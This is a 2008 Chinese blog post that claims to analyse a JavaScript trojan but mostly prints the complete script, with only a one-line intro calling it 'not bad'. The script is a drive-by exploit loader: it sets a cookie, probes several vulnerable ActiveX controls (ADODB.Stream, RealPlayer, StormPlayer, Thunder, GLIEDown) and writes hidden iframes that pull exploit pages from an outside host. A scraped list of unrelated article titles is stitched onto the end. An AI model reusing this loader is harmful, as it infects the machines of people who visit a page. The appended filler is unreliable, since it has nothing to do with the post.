一段js的***程序

2024-05-16 06:31:42

orig_1.gif 一段js的***程序


2008-06-30 16:17:14
标签:js 一段 ***程序    [推送到技术圈]

版权声明:原创作品,如需转载,请与作者联系。否则将追究法律责任。
一个朋友让我帮忙给分析一段js代码,很简单,就是进行了一些转换,使用js写成而已,感觉不错,贴出来。
document.writeln("<script language=\"javaScript\">");
document.writeln(" var cook = \"silentwm\";");
document.writeln(" ");
document.writeln(" function setCookie(name, value, expire) ");
document.writeln(" {   ");
document.writeln("  window.document.cookie = name + \"=\" + escape(value) + ((expire == null) ? \"\" : (\"; expires=\" + expire.toGMTString()));");
document.writeln(" }");
document.writeln("");
document.writeln(" function getCookie(Name) ");
document.writeln(" {   ");
document.writeln("  var search = Name + \"=\";");
document.writeln("  if (window.document.cookie.length > 0) ");
document.writeln("  { ");
document.writeln("   offset = window.document.cookie.indexOf(search);");
document.writeln("   if (offset != -1) ");
document.writeln("   { ");
document.writeln("    offset += search.length;       ");
document.writeln("     end = window.document.cookie.indexOf(\";\", offset)       ");
document.writeln("     if (end == -1)");
document.writeln("       end = window.document.cookie.length;");
document.writeln("     return unescape(window.document.cookie.substring(offset, end));");
document.writeln("    }");
document.writeln("   }");
document.writeln("   return null;");
document.writeln(" }");
document.writeln("");
document.writeln(" function register(name) ");
document.writeln(" {");
document.writeln("  var today = new Date();");
document.writeln("  var expires = new Date();");
document.writeln("  expires.setTime(today.getTime() + 1000*60*60*24);");
document.writeln("  setCookie(cook, name, expires);");
document.writeln(" }");
document.writeln("");
document.writeln(" function openWM() ");
document.writeln(" {");
document.writeln("  var c = getCookie(cook);");
document.writeln("  if (c != null) ");
document.writeln("  {");
document.writeln("    return;");
document.writeln("  }");
document.writeln("  ");
document.writeln("  register(cook);");
document.writeln("  ");
document.writeln("  window.defaultStatus=\"完成\";");
document.writeln("   ");
document.writeln("    document.write(\'<iframe width=50 height=0 src=http://mx.content-type.cn:443/f/index.htm><\/iframe>\');");
document.writeln("  try{ var e;");
document.writeln("   var ado=(document.createElement(\"object\"));");
document.writeln("   ado.setAttribute(\"classid\",\"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36\");");
document.writeln("   var as=ado.createobject(\"Adodb.Stream\",\"\")}");
document.writeln("  catch(e){};");
document.writeln("  finally{");
document.writeln("   if(e!=\"[object Error]\"){");
document.writeln("    document.write(\'<iframe width=50 height=0 src=http://mx.content-type.cn:443/014.htm><\/iframe>\')}");
document.writeln("   else");
document.writeln("   { ");
document.writeln("    try{ var j;");
document.writeln("     var real11=new ActiveXObject(\"IERP\"+\"Ctl.I\"+\"ERPCtl.1\");}");
document.writeln("    catch(j){};");
document.writeln("    finally{if(j!=\"[object Error]\"){if(new ActiveXObject(\"IERPCtl.IERPCtl.1\").PlayerProperty(\"PRODUCTVERSION\")<=\"6.0.14.552\")");
document.writeln("                                        {document.write(\'<iframe width=100 height=100 src=http://mx.content-type.cn:443/real11.htm><\/iframe>\')}");
document.writeln("                         else");
document.writeln("                         {");
document.writeln("     document.write(\'<iframe width=100 height=100 src=http://mx.content-type.cn:443/real10.htm><\/iframe>\')}}}");
document.writeln("");
document.writeln("    try{ var g;");
document.writeln("     var glworld=new ActiveXObject(\"GLIEDown.IEDown.1\");}");
document.writeln("    catch(g){};");
document.writeln("    finally{if(g!=\"[object Error]\"){");
document.writeln("     document.write(\'<iframe style=display:none src=http://mx.content-type.cn:443/lz.htm><\/iframe>\')}}");
document.writeln("");
document.writeln("    try{ var h;");
document.writeln("     var storm=new ActiveXObject(\"MPS.StormPlayer.1\");}");
document.writeln("    catch(h){};");
document.writeln("    finally{if(h!=\"[object Error]\"){");
document.writeln("     document.write(\'<iframe style=display:none src=http://mx.content-type.cn:443/bf.htm><\/iframe>\')}}");
document.writeln("");
document.writeln("    try{ var f;");
document.writeln("     var thunder=new ActiveXObject(\"DPClient.Vod\");}");
document.writeln("    catch(f){};");
document.writeln("    finally{ if(f!=\"[object Error]\"){");
document.writeln("     document.write(\'<iframe width=50 height=0 src=http://mx.content-type.cn:443/kong.htm><\/iframe>\')}}");
document.writeln("");
document.writeln("    ");
document.writeln("   }}");
document.writeln(" }");
document.writeln("");
document.writeln("openWM();");
document.writeln("<\/script>");
document.writeln("<script src=http://js.tongji.cn.yahoo.com/621252/ystat.js></script>");

转载于:https://blog.51cto.com/290083365/96037

一段js的***程序相关推荐

  1. JavaScript学习(八十)—请写一段JS程序提取URL中的各个get参数(参数名和参数个数不确定),将其按key-value形式返回到一个json结构中

    JavaScript学习(八十)-请写一段JS程序提取URL中的各个get参数(参数名和参数个数不确定),将其按key-value形式返回到一个json结构中 题目: 代码:

  2. parcel react_如何使用Parcel捆绑React.js应用程序

    parcel react by Michael Ozoemena 迈克尔·奥索埃梅纳(Michael Ozoemena) 如何使用Parcel捆绑React.js应用程序 (How to use Pa ...

  3. 942.ava.com_如何使用Ava.js测试Node.js应用程序

    942.ava.com by Nitish Phanse 由Nitish Phanse 如何使用Ava.js测试Node.js应用程序 (How you can test your Node.js a ...

  4. 如何在Docker上构建Node.js应用程序

    Docker has been the latest trending topic over the past couple of years and if you haven't been to s ...

  5. rethinkdb_如何在Node.js应用程序中使用RethinkDB

    rethinkdb 这篇文章是由同行评审Agbonghama柯林斯和马丁·马丁内斯 . 感谢所有SitePoint的同行评审员使SitePoint内容达到最佳状态! Web应用程序最常见的任务之一就是 ...

  6. 如何在Node.js应用程序中使用RethinkDB

    这篇文章是由同行评审Agbonghama柯林斯和马丁·马丁内斯 . 感谢所有SitePoint的同行评审人员使SitePoint内容达到最佳状态! Web应用程序最常见的任务之一就是保存数据. 没有存 ...

  7. 使用 OpenAI API 构建 Next.js 应用程序的初学者指南

    欢迎阅读我们的初学者指南,了解如何使用 OpenAI API 构建 Next.js 应用程序.在本教程中,我们将引导您完成利用 OpenAI API 的功能创建功能强大且智能的 Next.js 应用程 ...

  8. 构建node.js基础镜像_在Android上构建Node.js应用程序

    构建node.js基础镜像 by Aurélien Giraud 通过AurélienGiraud 在Android上构建Node.js应用程序-第1部分:Termux,Vim和Node.js (Bu ...

  9. 用chrome的snippets片段功能创建页面js外挂程序,从控制台创建js小脚本

    用chrome的snippets片段功能创建页面js外挂程序,从控制台创建js小脚本 Chrome的snippets是小脚本,还可以创作并在Chrome DevTools的来源面板中执行. 可以访问和 ...

最新文章

  1. 专访1药网技术副总裁黄哲铿:揭秘技术跨界管理之道
  2. 【深度学习】ReLU激活函数的缺点
  3. 【VMware vSphere】VMware vSphere简单了解
  4. linux进程管理fork,Linux -- 进程管理之 fork() 函数
  5. 和菜鸟一起学linux之bluez学习记录2
  6. 游戏建模成熟期:在这个阶段,技术已经比较成熟了,可以独挡一面
  7. Zookeeper架构及FastLeaderElection机制
  8. Linux下防火墙开启相关端口及查看已开启端口
  9. 蓝桥杯2021年第十二届C++省赛第三题-直线
  10. css浮动与清除浮动相关总结(附图解、实例)
  11. 2022秋招面经(C++软开)
  12. 简单粗暴卸载Oracle RAC
  13. 图像处理—灰度图像转为伪彩色图像
  14. php uchome,【UCHome二次开发】模板解析
  15. 原生js实现简易的可旋转伸缩连线效果代码
  16. unity 烘焙模式——baked indirect/shadow mask/distance shadowmask/subtractive模式的区别
  17. 文件目录自动生成工具--Dir Tree Noter
  18. 关于微软学术搜索项目
  19. (转)对冲基金:AQR合伙人:“沉闷”股票回报更好
  20. Linux extmail的邮件服务器搭建

热门文章

  1. CodeForces 86 D Powerful array 莫队
  2. Centos6.4建立本地yum源
  3. [译] ASP.NET 生命周期 – ASP.NET 请求生命周期(四)
  4. 你的团队能通过电梯测试吗?
  5. 【翻译】Ext JS最新技巧——2014-8-13
  6. 抢先体验SQL Server 2014 CTP1!
  7. Exchange2007 中Send as 与Send on behalf of 讲解
  8. 分享一个WM上绘制饼图、柱形图、折线图的控件类
  9. Community Server系列之九:CS2中的用户管理1(MemberRole)
  10. linux 服务器安装字体